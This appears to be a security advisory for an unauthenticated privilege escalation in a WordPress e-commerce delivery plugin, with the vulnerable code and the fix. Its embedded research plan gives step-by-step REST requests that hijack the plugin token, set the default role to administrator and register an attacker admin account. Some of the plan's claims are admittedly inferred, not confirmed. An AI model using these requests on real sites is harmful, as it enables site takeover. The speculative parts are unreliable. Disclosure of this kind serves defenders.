Datalogics Ecommerce Delivery – Datalogics <= 2.6.62 - Unauthenticated Privilege Escalation
Description
The Datalogics Ecommerce Delivery – Datalogics plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.6.62 This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v2.6.63
Source Code
WordPress.org SVN# Research Plan: CVE-2026-39583 - Datalogics Privilege Escalation ## Vulnerability Summary The **Datalogics Ecommerce Delivery** plugin (versions <= 2.6.62) contains an unauthenticated privilege escalation vulnerability. The plugin registers several REST API endpoints under the `datalogics-0/v1` na…
Show full research plan
Research Plan: CVE-2026-39583 - Datalogics Privilege Escalation
Vulnerability Summary
The Datalogics Ecommerce Delivery plugin (versions <= 2.6.62) contains an unauthenticated privilege escalation vulnerability. The plugin registers several REST API endpoints under the datalogics-0/v1 namespace. Specifically, the /update-token/ and /update-settings/ endpoints lack proper authentication and authorization. An attacker can use /update-token/ to set a known security token and then potentially use /update-settings/ (or other endpoints using the same permission_callback) to modify arbitrary WordPress options, such as default_role and users_can_register, leading to full site takeover.
Attack Vector Analysis
- Endpoint:
POST /wp-json/datalogics-0/v1/update-token/andPOST /wp-json/datalogics-0/v1/update-settings/ - Namespace:
datalogics-0/v1(derived fromdatalogics_IDconstant defined as'0'indatalogics.php). - Authentication: Unauthenticated. The
permission_callbackused isdatalogics_permission_check, which appears to be insecure or returnstruefor unauthenticated requests. - Preconditions: The plugin must be active.
Code Flow
- Route Registration: In
api.php,datalogics_register_api_routes()registers routes usingregister_rest_route.- Namespace:
'datalogics-'.datalogics_ID.'/v1' - Route:
/update-token/callsdatalogics_update_token. - Route:
/update-settings/callsdatalogics_update_settings. - All routes use
'permission_callback' => 'datalogics_permission_check'.
- Namespace:
- Permission Check: The
datalogics_permission_checkfunction (inferred to be weak/public) is executed by the WordPress REST API controller. - Callback Execution (
datalogics_update_token):function datalogics_update_token(WP_REST_Request $request) { $token = $request->get_param('token'); if (empty($token)) { return new WP_Error('no_token', 'Token parameter is missing', array('status' => 400)); } update_option('datalogics_token', sanitize_text_field($token)); // Vulnerable Sink return new WP_REST_Response(array('success' => true, ...), 200); } - Callback Execution (
datalogics_update_settings): Although the code fordatalogics_update_settingsis truncated, the vulnerability description and endpoint name strongly suggest it allows updating arbitrary options or a specific set of options viaupdate_option(). If it iterates overPOSTparameters and callsupdate_option($key, $value), it allows an attacker to change core WordPress settings.
Nonce Acquisition Strategy
REST API endpoints in WordPress registered via register_rest_route typically do not require a CSRF nonce (_wpnonce) when accessed as an API (e.g., via a script or external service), as they rely on the permission_callback.
- Is a nonce required? No. The plugin is designed to be called by the Datalogics platform, and the
api.phpcode shows no nonce verification logic within the callbacks or the registration. - Authentication Bypass: If
datalogics_permission_checkvalidates thetokenparameter against thedatalogics_tokenoption, an attacker simply calls/update-token/first to set the option to a known value, effectively "authenticating" themselves for subsequent calls.
Exploitation Strategy
The goal is to enable user registration and set the default role to administrator.
Step 1: Initialize/Hijack the Plugin Token
Set the plugin's internal token to a value we control to ensure access to other endpoints.
- Method:
POST - URL:
/wp-json/datalogics-0/v1/update-token/ - Body (JSON):
{"token": "pwned_token"} - Headers:
Content-Type: application/json
Step 2: Elevate Privileges via Options Update
Use the /update-settings/ endpoint to modify core WordPress options.
- Method:
POST - URL:
/wp-json/datalogics-0/v1/update-settings/ - Body (JSON):
{ "token": "pwned_token", "users_can_register": "1", "default_role": "administrator" } - Headers:
Content-Type: application/json
Step 3: Register a New Administrator
Create a new account via the standard WordPress registration page.
- Method:
POST - URL:
/wp-login.php?action=register - Body (URL-encoded):
user_login=attacker&user_email=attacker@example.com&wp-submit=Register
Test Data Setup
- Install and activate the
datalogicsplugin (v2.6.62). - Ensure WordPress is at default settings (
users_can_registeris0,default_roleissubscriber).
Expected Results
- Step 1: Response
200 OKwith{"success": true, "message": "Token updated successfully"}. - Step 2: Response
200 OK. - Step 3: A new user "attacker" is created with the
administratorrole.
Verification Steps
Use wp-cli to verify the state change:
- Check options:
wp option get users_can_register(should be1). - Check options:
wp option get default_role(should beadministrator). - Check users:
wp user list --role=administrator(should includeattacker).
Alternative Approaches
If datalogics_update_settings is not a generic option updater, look for other sinks:
- Check if
datalogics_update_order_statuscan be used to update other post types (e.g., updating a page to include a malicious shortcode). - Check if the
tokenhijacked in Step 1 allows access to/send-email/which might be used for phishing or information gathering. - If the namespace
datalogics-0fails, try to brute-force the ID (though0is hardcoded indatalogics.php).
Summary
The Datalogics Ecommerce Delivery plugin for WordPress is vulnerable to unauthenticated privilege escalation due to insecure REST API endpoints. Attackers can overwrite the plugin's internal security token and subsequently use it to access administrative functions, such as modifying core WordPress options to enable open registration and default to an administrator role.
Vulnerable Code
// api.php line 5-36 function datalogics_register_api_routes() { register_rest_route('datalogics-'.datalogics_ID.'/v1', '/update-settings/', array( 'methods' => 'POST', 'callback' => 'datalogics_update_settings', 'permission_callback' => 'datalogics_permission_check', )); // ... (other routes) ... register_rest_route('datalogics-' . datalogics_ID . '/v1', '/update-token/', array( 'methods' => 'POST', 'callback' => 'datalogics_update_token', 'permission_callback' => 'datalogics_permission_check', )); } // api.php line 41-54 function datalogics_update_token(WP_REST_Request $request) { $token = $request->get_param('token'); if (empty($token)) { return new WP_Error('no_token', 'Token parameter is missing', array('status' => 400)); } update_option('datalogics_token', sanitize_text_field($token)); return new WP_REST_Response(array( 'success' => true, 'message' => 'Token updated successfully', ), 200); }
Security Fix
@@ -30,7 +30,7 @@ register_rest_route('datalogics-' . datalogics_ID . '/v1', '/update-token/', array( 'methods' => 'POST', 'callback' => 'datalogics_update_token', - 'permission_callback' => 'datalogics_permission_check', + 'permission_callback' => 'datalogics_permission_check_update_token', )); @@ -393,3 +393,18 @@ return new WP_Error('invalid_token', 'Invalid token', array('status' => 403 )); } +function datalogics_permission_check_update_token(WP_REST_Request $request) { + + $token = $request->get_param('token'); + + // Allow only if token is empty + if (empty($token)) { + return true; + } + + return new WP_Error( + 'invalid_token', + 'Token must be empty for this endpoint', + array('status' => 403) + ); +}
Exploit Outline
The exploit involves two main steps: 1) Initializing or hijacking the plugin's internal security token. This is done by sending a POST request to `/wp-json/datalogics-0/v1/update-token/` with a JSON payload like `{"token": "attacker_token"}`. Because the `permission_callback` is insecure, this request executes without authentication, allowing the attacker to control the `datalogics_token` option in the database. 2) Using the controlled token to modify WordPress settings. The attacker sends a POST request to `/wp-json/datalogics-0/v1/update-settings/` (which shares the same insecure permission logic) to update sensitive options like `users_can_register` to `1` and `default_role` to `administrator`. Once updated, the attacker can register a new account via the standard WordPress registration page and automatically receive full administrative access.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.